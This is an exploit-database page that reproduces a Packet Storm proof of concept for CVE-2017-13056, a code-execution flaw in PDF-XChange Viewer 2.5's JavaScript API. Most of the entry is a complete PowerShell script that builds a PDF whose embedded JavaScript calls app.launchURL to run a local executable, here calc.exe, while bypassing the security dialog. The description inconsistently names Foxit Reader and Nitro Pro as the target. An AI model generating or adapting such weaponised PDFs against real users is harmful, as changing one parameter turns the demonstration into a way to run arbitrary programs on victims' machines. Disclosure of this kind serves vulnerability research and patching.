Lucene search
K

PDF-XChange Viewer 2.5 (Build 314.0) Code Execution

🗓️ 24 Aug 2017 00:00:00Reported by Daniele VottaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 56 Views

PDF-XChange Viewer 2.5 (Build 314.0) Code Execution via Javascript AP

Related
Code
ReporterTitlePublishedViews
Family
CNVD
PDF-XChange Viewer 'launchURL' Function Arbitrary Code Execution Vulnerability
28 Dec 201700:00
cnvd
CVE
CVE-2017-13056
27 Dec 201717:00
cve
Cvelist
CVE-2017-13056
27 Dec 201717:00
cvelist
EUVD
EUVD-2017-4574
7 Oct 202500:30
euvd
NVD
CVE-2017-13056
27 Dec 201717:29
nvd
Prion
Code injection
27 Dec 201717:29
prion
`# Exploit Title: PDF-XChange Viewer 2.5 (Build 314.0) Javascript API Remote Code Execution Exploit (Powershell PDF Exploit Creation)  
# Date: 21-08-2017  
# Software Link 32bit: http://pdf-xchange-viewer.it.uptodown.com/windows  
# Exploit Author: Daniele Votta  
# Contact: [email protected]  
# Website: https://www.linkedin.com/in/vottadaniele/  
# CVE: 2017-13056  
  
# Category: PDF Reader RCE  
  
1. Description  
  
This module exploits an unsafe Javascript API implemented in PDF-XChange Viewer.   
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader.   
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  
  
The specific flaw exists within app.launchURL method. The issue results from the lack of proper validation of a user-supplied string  
before using it to execute a system call. An attacker can leverage this vulnerability to execute code under the context of the current process.  
The launchURL() function allows an attacker to execute local files on the file system and bypass the security dialog.  
  
2. Proof of Concept (Generate evil PDF that start calc.exe)   
Step 1: Customize New-PDFjs.ps1 (custom params + PdfSharp-WPF.dll path)  
Step 2: Execute Windows PowerShell: PS C:\Users\User> New-PDFJS  
Step 3: Open the generated PDF with Nitro Pro PDF Reader  
  
3. PDF Generation:  
  
function New-PDFJS {  
  
  
  
# Use the desidered params  
  
[CmdletBinding()]  
  
Param (  
  
[string]$js ="app.launchURL('C:\\Windows\\System32\\calc.exe')",  
  
[string]$msg = "Hello PDF",  
  
[string]$filename = "C:\Users\User\Desktop\calc.pdf"  
  
)  
  
  
  
# Use the PDFSharp-WPF.dll library path  
  
Add-Type -Path C:\Users\Daniele\Desktop\PdfSharp-WPF.dll  
  
$doc = New-Object PdfSharp.Pdf.PdfDocument  
$doc.Info.Title = $msg  
$doc.info.Creator = "AnonymousUser"  
$page = $doc.AddPage()  
  
$graphic = [PdfSharp.Drawing.XGraphics]::FromPdfPage($page)  
$font = New-Object PdfSharp.Drawing.XFont("Courier New", 20, [PdfSharp.Drawing.XFontStyle]::Bold)  
$box = New-Object PdfSharp.Drawing.XRect(0,0,$page.Width, 100)  
$graphic.DrawString($msg, $font, [PdfSharp.Drawing.XBrushes]::Black, $box, [PdfSharp.Drawing.XStringFormats]::Center)  
  
$dictjs = New-Object PdfSharp.Pdf.PdfDictionary  
$dictjs.Elements["/S"] = New-Object PdfSharp.Pdf.PdfName ("/JavaScript")  
$dictjs.Elements["/JS"] = New-Object PdfSharp.Pdf.PdfStringObject($doc, $js);  
  
$doc.Internals.AddObject($dictjs)  
  
$dict = New-Object PdfSharp.Pdf.PdfDictionary  
$pdfarray = New-Object PdfSharp.Pdf.PdfArray  
$embeddedstring = New-Object PdfSharp.Pdf.PdfString("EmbeddedJS")  
  
$dict.Elements["/Names"] = $pdfarray  
$pdfarray.Elements.Add($embeddedstring)  
$pdfarray.Elements.Add($dictjs.Reference)  
$doc.Internals.AddObject($dict)  
  
$dictgroup = New-Object PdfSharp.Pdf.PdfDictionary  
$dictgroup.Elements["/JavaScript"] = $dict.Reference  
$doc.Internals.Catalog.Elements["/Names"] = $dictgroup  
  
$doc.Save($filename)  
}  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation